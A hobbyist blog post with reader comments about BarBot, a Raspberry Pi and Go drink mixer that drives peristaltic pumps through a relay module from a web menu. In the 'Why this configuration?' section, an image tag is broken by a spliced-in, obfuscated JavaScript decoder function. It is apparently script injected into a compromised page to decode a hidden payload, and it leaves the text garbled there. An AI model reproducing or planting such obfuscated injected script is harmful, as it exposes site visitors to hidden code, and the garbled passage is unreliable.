Raspberry Pi drink mixer written in Go

I am now a BevOps Engineer!

Getting some drank

So, have you ever been to a party with a terrible bartender? No bartender? Who wants to pour their own drink like a peasant? BarBot can and will change all that! BarBot is a simple, effective way to entertain and intoxicate your guests. Four liquids can be installed and mixed for creative compositions. I designed BarBot so party guests can simply walk up, place their cup on the platform and select a drink from the simple interface (accessible from a smart phone or tablet). A fun loading screen lets you know that your drink is being compiled! The menu then comes back for another selection to be made. Drink up!

How it works:

The Raspberry Pi is listening on 2 ports; apache2 webserver on 80 and Golang on 8080.  The menu page is loaded onto your tablet or smart phone. Once a button is selected from the web interface, the options are hidden so multiple selections cannot be made. Then an AJAX request to the BarBot program is made. BarBot receives the request, and then compiles the selected drink by triggering the relays to corresponding pumps, (A pump normally pours at the rate of 1ml per second). After the drink is poured, the BarBot program responds to the AJAX request by loading the page. The menu buttons then return.diag1

BarBot Parts list:
Raspberry Pi A
SainSmart 8-Channel Relay Module
Adafruit Peristaltic Liquid Pumps
WiFi USB adapter
2 amp USB charger for Pi
12v Power adapter for the Pumps
12v green LED strips
Sink Pipe
Shower drain
Black project board

Why this configuration?pi <script type=function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6and pumps" width="319" height="235" />
Simple and most of all CHEAP!
Raspberry Pi A was selected because it can correctly power and trigger the 8-Channel Relay Module. If you have a Raspberry Pi B and this relay module it's more difficult. Adafruit Peristaltic Liquid pumps were selected because the peristaltic pump never touches the liquid, instead it massages the tube to pull the liquid through.




After modeling what I wanted in 123D Design I went to my local hardware store and scoped out possible materials. I settled on chalkboard. It is lightweight, and looks cool, but mostly because I like the idea of being able to write the menu or BevOps math on the side. The front was crafted with transparent acrylic so everyone could see and admire the handy work. Plus, the sweet green lights make it look super futuristic and awesome!

I hard coded BarBot to use four liquids. Later I may add the ability to use a config file but for now it's locked in with Whiskey, Vodka, OJ, and Cranberry Juice. GET THE CODE HERE. Compile the code to ARM run on boot, then drop the index.html file into an Apache server on the Raspberry Pi.

Scope creep
I have added the ability to make the BarBot to receive commands via voice. A simple GET request to a specific drink page via Tasker and AutoVoice.

Final thought
BarBot has been a big hit at every party I've brought it too, and also the office loves it (yes, we drink at work). Why pour a drink with your own hands when a robot could do it for you? I, for one welcome our new robot overlords. As long as they get me drunk.

9 thoughts on “BarBot

  1. Good post. I learn something totally new and challenging on websites I stumbleupon on a daily basis. It’s always helpful to read through articles from other writers and practice something from their websites.

  2. barbot.go:8:9: cannot find package “” in any of:
    /home/pi/go/src/ (from $GOROOT)
    ($GOPATH not set)
    I keep getting this error any help would be appreciated

    1. Looks like your environment isn’t set up add the following lines to ~/.bashrc

      export GOPATH=$HOME/go
      export PATH=$PATH:$GOROOT/bin:$GOPATH/bin

      Then that first error mentioning go-rpio run this command after rebooting

      go get

      It should add the go-rpio package to your go.

  3. Hey! How was the flow rate? I am thinking of buying those pumps, but I’m concerned they will pump too slow… How big is the glass you filled and how long time did it take?

    1. Too long. It’s too slow for filling a cup. Since peristaltic pumps don’t work too well with anything carbonated hard alcohol with juice was the way to go. Don’t use those pumps if you want something fast. The BarBot was excellent for impressing people at a party, efficient it was not. Some math to help if a pint is ~473ml and 1 pump speed is 1ml a second…. then a little under 8 minutes to fill a pint.

Leave a Reply

Your email address will not be published.